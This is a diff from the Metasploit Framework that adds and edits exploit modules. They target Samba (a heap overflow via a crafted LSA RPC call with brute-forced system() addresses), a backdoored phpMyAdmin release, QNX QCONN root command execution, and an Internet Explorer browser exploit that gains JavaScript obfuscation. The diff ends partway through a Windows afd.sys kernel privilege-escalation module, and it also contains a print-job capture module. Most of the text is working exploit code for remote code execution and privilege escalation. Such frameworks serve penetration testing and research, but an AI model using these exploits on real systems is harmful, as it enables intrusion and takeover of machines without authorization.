print_error("Unable to detect printjob type, dumping complete output")
|
||||
@state[c][:prn_type] = "Unknown Type"
|
||||
@state[c][:raw_data] = @state[c][:data]
|
||||
end
|
||||
|
||||
# output discovered Metadata if set
|
||||
if @state[c][:meta_output] and @metadata
|
||||
@state[c][:meta_output].sort.each do | out |
|
||||
# print metadata if not empty
|
||||
print_status("#{out}") if not out.empty?
|
||||
end
|
||||
else
|
||||
print_status("No metadata gathered from printjob")
|
||||
end
|
||||
|
||||
# set name to unknown if not discovered via Metadata
|
||||
@state[c][:prn_title] = 'Unnamed' if not @state[c][:prn_title]
|
||||
|
||||
#store loot
|
||||
storefile(c) if not @state[c][:raw_data].empty?
|
||||
|
||||
# clear state
|
||||
@state.delete(c)
|
||||
|
||||
rescue => ex
|
||||
print_error(ex.message)
|
||||
end
|
||||
end
|
||||
|
||||
def metadata_pjl(c)
|
||||
# extract PJL Metadata
|
||||
|
||||
@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
|
||||
print_good("Extracting PJL Metadata")
|
||||
@state[c][:prn_metadata].each do | meta |
|
||||
if meta[0] =~ /^COMMENT/i
|
||||
@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
|
||||
end
|
||||
if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
|
||||
@state[c][:meta_output] << meta[1].to_s
|
||||
end
|
||||
if meta[1] =~ /^NAME/i
|
||||
@state[c][:prn_title] = meta[1].strip
|
||||
elsif meta[1] =~/^JOBNAME/i
|
||||
@state[c][:prn_title] = meta[1].strip
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def metadata_ps(c)
|
||||
# extract Postsript Metadata
|
||||
|
||||
@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
|
||||
print_good("Extracting PostScript Metadata")
|
||||
@state[c][:prn_metadata].each do | meta |
|
||||
if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
|
||||
@state[c][:meta_output] << meta[0].to_s
|
||||
end
|
||||
if meta[0] =~ /^Title/i
|
||||
@state[c][:prn_title] = meta[0].strip
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def metadata_ipp(c)
|
||||
# extract IPP Metadata
|
||||
|
||||
@state[c][:prn_metadata] = @state[c][:data]
|
||||
print_good("Extracting IPP Metadata")
|
||||
case @state[c][:prn_metadata]
|
||||
when /User-Agent:/i
|
||||
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
|
||||
when /Server:/i
|
||||
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
|
||||
when /printer-uri..ipp:\/\/.*\/ipp\//i
|
||||
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
|
||||
when /requesting-user-name..\w+/i
|
||||
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
|
||||
end
|
||||
end
|
||||
|
||||
def forward_data(data_to_send)
|
||||
print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
|
||||
connect
|
||||
sock.put(data_to_send)
|
||||
sock.close
|
||||
end
|
||||
|
||||
def stream_data(data_to_send)
|
||||
vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
|
||||
connect if not sock
|
||||
sock.put(data_to_send)
|
||||
response = sock.get_once
|
||||
return response
|
||||
end
|
||||
|
||||
def storefile(c)
|
||||
# store the file
|
||||
|
||||
if @state[c][:raw_data]
|
||||
jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
|
||||
filename = "#{jobname}.#{@state[c][:prn_type]}"
|
||||
loot = store_loot(
|
||||
"prn_snarf.#{@state[c][:prn_type].downcase}",
|
||||
"#{@state[c][:prn_type]} printjob",
|
||||
c.peerhost,
|
||||
@state[c][:raw_data],
|
||||
filename,
|
||||
"PrintJob capture"
|
||||
)
|
||||
print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
|
||||
print_good("Loot filename: %s" % loot)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '85654'],
|
||||
['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -0,0 +1,312 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Brute
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
|
||||
'Description' => %q{
|
||||
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
|
||||
because of an error on the PIDL auto-generated code. Making a specially crafted
|
||||
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
|
||||
trigger a heap overflow and finally execute arbitrary code with root privileges.
|
||||
|
||||
The module uses brute force to guess the system() address and redirect flow there
|
||||
in order to bypass NX. The start and stop addresses for brute forcing have been
|
||||
calculated empirically. On the other hand the module provides the StartBrute and
|
||||
StopBrute which allow the user to configure his own addresses.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'blasty', # Exploit
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-1182'],
|
||||
['OSVDB', '81303'],
|
||||
['BID', '52973'],
|
||||
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 811,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet python perl'
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
|
||||
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
|
||||
{
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start for the final version should be 0xb20 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230b20 },
|
||||
'Stop' => { 'Ret' => 0x22a00b20 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
}
|
||||
],
|
||||
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
||||
{
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x950 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230950 },
|
||||
'Stop' => { 'Ret' => 0x22a00950 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
}
|
||||
],
|
||||
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
|
||||
{
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x680 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230680 },
|
||||
'Stop' => { 'Ret' => 0x22a00680 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 10 2012',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
|
||||
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.bruteforce?
|
||||
bf = target.bruteforce
|
||||
|
||||
if datastore['StartBrute'] and datastore['StartBrute'] > 0
|
||||
bf.start_addresses['Ret'] = datastore['StartBrute']
|
||||
end
|
||||
|
||||
if datastore['StopBrute'] and datastore['StopBrute'] > 0
|
||||
bf.stop_addresses['Ret'] = datastore['StopBrute']
|
||||
end
|
||||
|
||||
if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
|
||||
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
||||
end
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
disconnect()
|
||||
|
||||
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
|
||||
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
|
||||
print_status("Version found: #{version}")
|
||||
|
||||
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
|
||||
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
|
||||
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
rescue ::Exception
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def brute_exploit(target_addrs)
|
||||
|
||||
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
|
||||
datastore['DCERPC::fake_bind_multi'] = false
|
||||
datastore['DCERPC::max_frag_size'] = 4248
|
||||
|
||||
pipe = "lsarpc"
|
||||
|
||||
print_status("Connecting to the SMB service...")
|
||||
connect()
|
||||
print_status("Login to the SMB service...")
|
||||
smb_login()
|
||||
|
||||
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
stub = "X" * 20
|
||||
|
||||
cmd = ";;;;" # padding
|
||||
cmd << "#{payload.encoded}\x00" # system argument
|
||||
tmp = cmd * (816/cmd.length)
|
||||
tmp << "\x00"*(816-tmp.length)
|
||||
|
||||
stub << NDR.short(2) # level
|
||||
stub << NDR.short(2) # level 2
|
||||
stub << NDR.long(1) # auditing mode
|
||||
stub << NDR.long(1) # ptr
|
||||
stub << NDR.long(100000) # r-> count
|
||||
stub << NDR.long(20) # array size
|
||||
stub << NDR.long(0)
|
||||
stub << NDR.long(100)
|
||||
stub << rand_text_alpha(target['Offset'])
|
||||
# Crafted talloc chunk
|
||||
stub << 'A' * 8 # next, prev
|
||||
stub << NDR.long(0) + NDR.long(0) # parent, child
|
||||
stub << NDR.long(0) # refs
|
||||
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
||||
stub << NDR.long(0) # name
|
||||
stub << "AAAA" # size
|
||||
stub << NDR.long(0xe8150c70) # flags
|
||||
stub << "AAAABBBB"
|
||||
stub << tmp # pointer to tmp+4 in $esp
|
||||
stub << rand_text(32632)
|
||||
stub << rand_text(62000)
|
||||
|
||||
print_status("Calling the vulnerable function...")
|
||||
|
||||
begin
|
||||
call(dcerpc, 0x08, stub)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
||||
print_status('Server did not respond, this is expected')
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
||||
print_error('Server is most likely patched...')
|
||||
rescue => e
|
||||
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
||||
print_status('Server disconnected, this is expected')
|
||||
end
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Perform a DCE/RPC Function Call
|
||||
def call(dcerpc, function, data, do_recv = true)
|
||||
|
||||
frag_size = data.length
|
||||
if dcerpc.options['frag_size']
|
||||
frag_size = dcerpc.options['frag_size']
|
||||
end
|
||||
object_id = ''
|
||||
if dcerpc.options['object_call']
|
||||
object_id = dcerpc.handle.uuid[0]
|
||||
end
|
||||
if options['random_object_id']
|
||||
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
||||
end
|
||||
|
||||
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
|
||||
call_packets.each { |packet|
|
||||
write(dcerpc, packet)
|
||||
}
|
||||
|
||||
return true if not do_recv
|
||||
|
||||
raw_response = ''
|
||||
|
||||
begin
|
||||
raw_response = dcerpc.read()
|
||||
rescue ::EOFError
|
||||
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
end
|
||||
|
||||
if (raw_response == nil or raw_response.length == 0)
|
||||
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
end
|
||||
|
||||
|
||||
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
||||
|
||||
if dcerpc.last_response.type == 3
|
||||
e = Rex::Proto::DCERPC::Exceptions::Fault.new
|
||||
e.fault = dcerpc.last_response.status
|
||||
raise e
|
||||
end
|
||||
|
||||
dcerpc.last_response.stub_data
|
||||
end
|
||||
|
||||
# Used to create standard DCERPC REQUEST packet(s)
|
||||
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
|
||||
|
||||
opnum = opnum.to_i
|
||||
size = size.to_i
|
||||
ctx = ctx.to_i
|
||||
|
||||
chunks, frags = [], []
|
||||
ptr = 0
|
||||
|
||||
# Break the request into fragments of 'size' bytes
|
||||
while ptr < data.length
|
||||
chunks.push( data[ ptr, size ] )
|
||||
ptr += size
|
||||
end
|
||||
|
||||
# Process requests with no stub data
|
||||
if chunks.length == 0
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Process requests with only one fragment
|
||||
if chunks.length == 1
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Create the first fragment of the request
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
|
||||
|
||||
# Create all of the middle fragments
|
||||
while chunks.length != 1
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
|
||||
end
|
||||
|
||||
# Create the last fragment of the request
|
||||
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
|
||||
|
||||
return frags
|
||||
end
|
||||
|
||||
# Write data to the underlying socket
|
||||
def write(dcerpc, data)
|
||||
dcerpc.socket.write(data)
|
||||
data.length
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '85554'],
|
||||
['EDB', '21329']
|
||||
],
|
||||
'Payload' =>
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary code execution backdoor
|
||||
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
# Arbitrary big number. The payload gets sent as an HTTP
|
||||
# response body, so really it's unlimited
|
||||
'Space' => 262144, # 256k
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30
|
||||
},
|
||||
'DisclosureDate' => 'Sep 25 2012',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
uris = []
|
||||
|
||||
tpath = datastore['PATH']
|
||||
if tpath[-1,1] == '/'
|
||||
tpath = tpath.chop
|
||||
end
|
||||
|
||||
pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")
|
||||
|
||||
res = send_request_raw( {
|
||||
'global' => true,
|
||||
'uri' => tpath + "/server_sync.php",
|
||||
'method' => 'POST',
|
||||
'data' => pdata,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Content-Length' => pdata.length,
|
||||
}
|
||||
}, 1.0)
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "QNX QCONN Remote Command Execution Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the qconn component of
|
||||
QNX Neutrino which can be abused to allow unauthenticated users to
|
||||
execute arbitrary commands under the context of the 'root' user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'David Odell', # Discovery
|
||||
'Mor!p3r <moriper[at]gmail.com>', # PoC
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '21520'],
|
||||
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
|
||||
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'PAYLOAD' => 'cmd/unix/interact',
|
||||
},
|
||||
'Platform' => 'unix', # QNX Neutrino
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on QNX Neutrino 6.5 SP1
|
||||
['Automatic Targeting', { 'auto' => true }]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Sep 4 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
# send check
|
||||
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
|
||||
print_status("#{@peer} - Sending check")
|
||||
connect
|
||||
req = "service launcher\n"
|
||||
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
|
||||
sock.put(req)
|
||||
res = sock.get
|
||||
disconnect
|
||||
|
||||
# check response
|
||||
if res and res =~ /#{fingerprint}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res and res =~ /QCONN/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
# send payload
|
||||
req = "service launcher\n"
|
||||
req << "start/flags run /bin/sh -\n"
|
||||
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
|
||||
connect
|
||||
sock.put(req)
|
||||
res = sock.get
|
||||
|
||||
# check response
|
||||
if res and res =~ /No controlling tty/
|
||||
print_good("#{@peer} - Payload sent successfully")
|
||||
else
|
||||
print_error("#{@peer} - Sending payload failed")
|
||||
end
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
end
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'unknown', # Some secret ninja
|
||||
'unknown', # via ZDI
|
||||
'eromang', # First public discovery
|
||||
'binjo',
|
||||
'sinn3r', # Metasploit
|
||||
|
@ -78,27 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Privileged' => false,
|
||||
'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
||||
return targets[1] #IE 7 on Windows XP SP3
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
||||
return targets[2] #IE 8 on Windows XP SP3
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
||||
return targets[3] #IE 7 on Windows Vista
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
|
||||
return targets[4] #IE 8 on Windows Vista
|
||||
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
||||
return targets[5] #IE 8 on Windows 7
|
||||
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
|
||||
return targets[6] #IE 9 on Windows 7
|
||||
else
|
||||
return nil
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
vprint_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
|
@ -283,8 +296,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
html = <<-EOS
|
||||
html = %Q|
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
|
@ -299,7 +316,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
@ -335,10 +352,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status request.headers['User-Agent']
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
agent = request.headers['User-Agent']
|
||||
my_target = get_target(agent)
|
||||
|
||||
vprint_status("Requesting: #{uri}")
|
||||
print_status(agent)
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending a 404: #{agent.to_s}")
|
||||
|
@ -346,15 +366,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
vprint_status("Requesting: #{request.uri}")
|
||||
|
||||
if request.uri =~ /#{@html2_name}/
|
||||
if uri =~ /#{@html2_name}/
|
||||
print_status("Loading #{@html2_name}")
|
||||
html = load_html2
|
||||
elsif request.uri =~ /#{@html1_name}/
|
||||
elsif uri =~ /#{@html1_name}/
|
||||
print_status("Loading #{@html1_name}")
|
||||
html = load_html1(cli, my_target)
|
||||
elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
|
||||
elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/)
|
||||
print_status("Redirecting to #{@html1_name}")
|
||||
send_redirect(cli, "#{this_resource}/#{@html1_name}")
|
||||
return
|
||||
|
|
|
@ -38,6 +38,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
available and will use one if possible. In the case of both IE8 and WMP11, the
|
||||
exploit defaults to using an iframe on IE8, but is configurable by setting the
|
||||
DIALOGMECH option to "none" or "player".
|
||||
|
||||
This module creates a WebDAV service from which the payload is copied to the
|
||||
victim machine.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -72,8 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]),
|
||||
OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]),
|
||||
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
|
||||
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
|
||||
OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
|
||||
], self.class)
|
||||
|
||||
|
|
|
@ -0,0 +1,326 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/windows/priv'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
# Average because this module relies on memory corruption within the
|
||||
# kernel, this is inherently dangerous. Also if the payload casues
|
||||
# the system process that it was injected into to die then it's also
|
||||
# possible that the system may become unstable.
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the AfdJoinLeaf function of the
|
||||
afd.sys driver to overwrite data in kernel space. An address
|
||||
within the HalDispatchTable is overwritten and when triggered
|
||||
with a call to NtQueryIntervalProfile will execute shellcode.
|
||||
|
||||
This module will elevate itself to SYSTEM, then inject the payload
|
||||
into another SYSTEM process before restoring it's own token to
|
||||
avoid causing system instability.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matteo Memelli', # original exploit and all the hard work
|
||||
'Spencer McIntyre' # MSF module
|
||||
],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
|
||||
[ 'Windows XP SP2 / SP3',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba,
|
||||
'HalpSetSystemInformation' => 0x19436,
|
||||
'_KPROCESS' => "\x44",
|
||||
'_TOKEN' => "\xc8",
|
||||
'_UPID' => "\x84",
|
||||
'_APLINKS' => "\x88"
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Windows Server 2003 SP2',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x1fa1e,
|
||||
'HalpSetSystemInformation' => 0x21c60,
|
||||
'_KPROCESS' => "\x38",
|
||||
'_TOKEN' => "\xd8",
|
||||
'_UPID' => "\x94",
|
||||
